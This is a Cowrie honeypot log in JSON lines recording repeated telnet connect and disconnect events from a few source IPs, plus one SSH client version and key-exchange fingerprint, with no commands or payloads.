{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":53476,"dst_ip":"10.17.0.5","dst_port":23,"session":"29d2e326f3ef","protocol":"telnet","message":"New connection: 160.250.4.73:53476 (10.17.0.5:23) [session: 29d2e326f3ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:12.232954Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":58160,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7076bc6d1d2","protocol":"telnet","message":"New connection: 216.22.21.200:58160 (10.17.0.5:23) [session: a7076bc6d1d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:12.366392Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":55194,"dst_ip":"10.17.0.5","dst_port":23,"session":"3965b12b0f8c","protocol":"telnet","message":"New connection: 99.198.111.122:55194 (10.17.0.5:23) [session: 3965b12b0f8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:12.743953Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":55792,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ca40838f14e","protocol":"telnet","message":"New connection: 99.198.111.122:55792 (10.17.0.5:23) [session: 5ca40838f14e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:13.004473Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":58694,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee06afb923f4","protocol":"telnet","message":"New connection: 216.22.21.200:58694 (10.17.0.5:23) [session: ee06afb923f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:13.046683Z"}
{"eventid":"cowrie.session.closed","duration":30.791622400283813,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:13.062881Z","src_ip":"99.198.111.122","session":"fc4fb3928189","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.614315032958984,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:13.149916Z","src_ip":"195.154.29.177","session":"68c3e0b17077","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":56372,"dst_ip":"10.17.0.5","dst_port":23,"session":"8def00b165a7","protocol":"telnet","message":"New connection: 99.198.111.122:56372 (10.17.0.5:23) [session: 8def00b165a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:13.282316Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":57446,"dst_ip":"10.17.0.5","dst_port":23,"session":"57be3eb4bc16","protocol":"telnet","message":"New connection: 99.198.111.122:57446 (10.17.0.5:23) [session: 57be3eb4bc16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:13.790866Z"}
{"eventid":"cowrie.session.closed","duration":30.759296417236328,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:14.023602Z","src_ip":"99.198.111.122","session":"034edaae1216","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":53488,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f0d9d9f68d2","protocol":"telnet","message":"New connection: 160.250.4.73:53488 (10.17.0.5:23) [session: 7f0d9d9f68d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:14.060838Z"}
{"eventid":"cowrie.session.closed","duration":30.659276247024536,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:14.141910Z","src_ip":"99.198.111.122","session":"dfedeeb01902","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.770997047424316,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:14.146410Z","src_ip":"99.198.111.122","session":"f64b48d0f015","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.194373607635498,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:14.186879Z","src_ip":"160.250.4.73","session":"95c26b1fecfc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":57714,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c40201bbb95","protocol":"telnet","message":"New connection: 195.154.29.177:57714 (10.17.0.5:23) [session: 5c40201bbb95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:14.223034Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":60596,"dst_ip":"10.17.0.5","dst_port":23,"session":"81cfd78f756b","protocol":"telnet","message":"New connection: 135.148.33.217:60596 (10.17.0.5:23) [session: 81cfd78f756b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:14.237567Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":58502,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab041cf1ffa7","protocol":"telnet","message":"New connection: 99.198.111.122:58502 (10.17.0.5:23) [session: ab041cf1ffa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:14.299878Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":59620,"dst_ip":"10.17.0.5","dst_port":23,"session":"4727e38dc283","protocol":"telnet","message":"New connection: 99.198.111.122:59620 (10.17.0.5:23) [session: 4727e38dc283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:14.785617Z"}
{"eventid":"cowrie.session.closed","duration":30.73837900161743,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:15.031991Z","src_ip":"99.198.111.122","session":"81a54b17a443","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.864365339279175,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:15.037978Z","src_ip":"216.22.21.200","session":"c59eb7dcac45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":34228,"dst_ip":"10.17.0.5","dst_port":23,"session":"35aa2ec94a9a","protocol":"telnet","message":"New connection: 135.148.33.217:34228 (10.17.0.5:23) [session: 35aa2ec94a9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:15.727356Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40374,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1574711e289","protocol":"telnet","message":"New connection: 64.235.40.29:40374 (10.17.0.5:23) [session: b1574711e289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:15.808851Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":34106,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa370477167e","protocol":"telnet","message":"New connection: 99.198.111.122:34106 (10.17.0.5:23) [session: fa370477167e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:15.905363Z"}
{"eventid":"cowrie.session.closed","duration":31.322043895721436,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:15.928693Z","src_ip":"195.154.29.177","session":"7f013ba673ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":34588,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5e1824c0d3b","protocol":"telnet","message":"New connection: 135.148.33.217:34588 (10.17.0.5:23) [session: b5e1824c0d3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:16.052964Z"}
{"eventid":"cowrie.session.closed","duration":30.906044483184814,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:16.085296Z","src_ip":"99.198.111.122","session":"66b25dcb4c29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.710336923599243,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:16.110211Z","src_ip":"99.198.111.122","session":"4bf2eea594c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":35006,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7c6d10ff1f3","protocol":"telnet","message":"New connection: 99.198.111.122:35006 (10.17.0.5:23) [session: c7c6d10ff1f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:16.255879Z"}
{"eventid":"cowrie.session.closed","duration":31.0836398601532,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:16.303926Z","src_ip":"216.22.21.200","session":"7d49ab1857d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":35772,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbb9c112524b","protocol":"telnet","message":"New connection: 99.198.111.122:35772 (10.17.0.5:23) [session: dbb9c112524b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:16.548153Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":33880,"dst_ip":"10.17.0.5","dst_port":23,"session":"93641a3e0140","protocol":"telnet","message":"New connection: 216.22.21.200:33880 (10.17.0.5:23) [session: 93641a3e0140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:16.715989Z"}
{"eventid":"cowrie.session.closed","duration":31.01076889038086,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:16.777922Z","src_ip":"99.198.111.122","session":"61eb88329de1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":35576,"dst_ip":"10.17.0.5","dst_port":23,"session":"737962f19a2e","protocol":"telnet","message":"New connection: 135.148.33.217:35576 (10.17.0.5:23) [session: 737962f19a2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:16.804095Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":57096,"dst_ip":"10.17.0.5","dst_port":23,"session":"c95225952b93","protocol":"telnet","message":"New connection: 162.241.40.195:57096 (10.17.0.5:23) [session: c95225952b93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:16.870533Z"}
{"eventid":"cowrie.session.closed","duration":30.849920511245728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:17.118052Z","src_ip":"216.22.21.200","session":"0822e898a012","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.548413515090942,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:17.136231Z","src_ip":"99.198.111.122","session":"5ce5774b3bf2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.133870601654053,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:17.272491Z","src_ip":"216.22.21.200","session":"6944c037c0fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":53502,"dst_ip":"10.17.0.5","dst_port":23,"session":"f42b35a29190","protocol":"telnet","message":"New connection: 160.250.4.73:53502 (10.17.0.5:23) [session: f42b35a29190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:17.308404Z"}
{"eventid":"cowrie.session.closed","duration":31.378772974014282,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:17.758288Z","src_ip":"99.198.111.122","session":"85f006ff593a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":38840,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0bf36e05d8b","protocol":"telnet","message":"New connection: 99.198.111.122:38840 (10.17.0.5:23) [session: b0bf36e05d8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:17.861704Z"}
{"eventid":"cowrie.session.closed","duration":31.646530151367188,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:17.880039Z","src_ip":"216.22.21.200","session":"b68ef2ab43f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.053476095199585,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:18.283246Z","src_ip":"160.250.4.73","session":"db804c3c936a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":57804,"dst_ip":"159.203.135.109","dst_port":22,"session":"74f306182972","protocol":"ssh","message":"New connection: 122.168.114.167:57804 (159.203.135.109:22) [session: 74f306182972]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:18.301749Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":40308,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fb9be2a12b0","protocol":"telnet","message":"New connection: 99.198.111.122:40308 (10.17.0.5:23) [session: 2fb9be2a12b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:18.424559Z"}
{"eventid":"cowrie.session.closed","duration":31.095067977905273,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:18.555148Z","src_ip":"99.198.111.122","session":"4c5f87664404","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":59724,"dst_ip":"10.17.0.5","dst_port":23,"session":"164a76aa7315","protocol":"telnet","message":"New connection: 162.241.40.195:59724 (10.17.0.5:23) [session: 164a76aa7315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:18.766170Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":59808,"dst_ip":"10.17.0.5","dst_port":23,"session":"c45c9cdb0e00","protocol":"telnet","message":"New connection: 162.241.40.195:59808 (10.17.0.5:23) [session: c45c9cdb0e00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:18.901264Z"}
{"eventid":"cowrie.session.closed","duration":30.336645126342773,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:19.049574Z","src_ip":"99.198.111.122","session":"86731a38c3e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":41674,"dst_ip":"10.17.0.5","dst_port":23,"session":"78a1fd3dd0e8","protocol":"telnet","message":"New connection: 99.198.111.122:41674 (10.17.0.5:23) [session: 78a1fd3dd0e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:19.089014Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35868,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4c6d4bbadf1","protocol":"telnet","message":"New connection: 64.235.40.29:35868 (10.17.0.5:23) [session: a4c6d4bbadf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:19.224122Z"}
{"eventid":"cowrie.session.closed","duration":30.78595542907715,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:19.245249Z","src_ip":"99.198.111.122","session":"250c4b458bfa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":42410,"dst_ip":"10.17.0.5","dst_port":23,"session":"f98783f1a52c","protocol":"telnet","message":"New connection: 99.198.111.122:42410 (10.17.0.5:23) [session: f98783f1a52c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:19.421677Z"}
{"eventid":"cowrie.session.closed","duration":31.31471610069275,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:19.518819Z","src_ip":"195.154.29.177","session":"90dab0eaf19f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.034472942352295,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:19.925406Z","src_ip":"99.198.111.122","session":"231212bee02f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.555370330810547,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:20.010655Z","src_ip":"135.148.33.217","session":"ae48ae180752","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6120765209198,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:20.036333Z","src_ip":"135.148.33.217","session":"c8c78ed0087f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":39778,"dst_ip":"10.17.0.5","dst_port":23,"session":"20e6ea0eab27","protocol":"telnet","message":"New connection: 135.148.33.217:39778 (10.17.0.5:23) [session: 20e6ea0eab27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:20.069001Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":44908,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ad062bb238a","protocol":"telnet","message":"New connection: 99.198.111.122:44908 (10.17.0.5:23) [session: 1ad062bb238a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:20.427979Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":46144,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9e8577d446d","protocol":"telnet","message":"New connection: 99.198.111.122:46144 (10.17.0.5:23) [session: b9e8577d446d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:20.858222Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":57290,"dst_ip":"10.17.0.5","dst_port":23,"session":"331068faf984","protocol":"telnet","message":"New connection: 160.250.4.73:57290 (10.17.0.5:23) [session: 331068faf984]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:20.910802Z"}
{"eventid":"cowrie.session.closed","duration":30.64766263961792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:21.312093Z","src_ip":"216.22.21.200","session":"2038fb3261f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":47340,"dst_ip":"10.17.0.5","dst_port":23,"session":"4100782421db","protocol":"telnet","message":"New connection: 99.198.111.122:47340 (10.17.0.5:23) [session: 4100782421db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:21.317187Z"}
{"eventid":"cowrie.session.closed","duration":31.228657007217407,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:21.321705Z","src_ip":"99.198.111.122","session":"0fcee773eef1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.294492483139038,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:21.480830Z","src_ip":"216.22.21.200","session":"593a51d3a46e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":57302,"dst_ip":"10.17.0.5","dst_port":23,"session":"3672ca7fff27","protocol":"telnet","message":"New connection: 160.250.4.73:57302 (10.17.0.5:23) [session: 3672ca7fff27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:21.674618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:21.708753Z","src_ip":"122.168.114.167","session":"74f306182972","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:21.718323Z","src_ip":"122.168.114.167","session":"74f306182972","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":48558,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ff3c8c8edc4","protocol":"telnet","message":"New connection: 99.198.111.122:48558 (10.17.0.5:23) [session: 9ff3c8c8edc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:21.831869Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":48828,"dst_ip":"10.17.0.5","dst_port":23,"session":"4764e6da7d5e","protocol":"telnet","message":"New connection: 99.198.111.122:48828 (10.17.0.5:23) [session: 4764e6da7d5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:21.919651Z"}
{"eventid":"cowrie.session.closed","duration":31.21639347076416,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:21.928912Z","src_ip":"135.148.33.217","session":"384f576f2f21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":48924,"dst_ip":"10.17.0.5","dst_port":23,"session":"712bfae8013f","protocol":"telnet","message":"New connection: 99.198.111.122:48924 (10.17.0.5:23) [session: 712bfae8013f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:21.953936Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":51962,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8d50748c863","protocol":"telnet","message":"New connection: 195.154.29.177:51962 (10.17.0.5:23) [session: d8d50748c863]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:21.986788Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":49220,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac19a4d5ad57","protocol":"telnet","message":"New connection: 99.198.111.122:49220 (10.17.0.5:23) [session: ac19a4d5ad57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:22.082494Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":49332,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c684c24654d","protocol":"telnet","message":"New connection: 99.198.111.122:49332 (10.17.0.5:23) [session: 2c684c24654d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:22.130239Z"}
{"eventid":"cowrie.session.closed","duration":30.95710277557373,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:22.207910Z","src_ip":"99.198.111.122","session":"5d28ca6b6c2c","protocol":"telnet"}
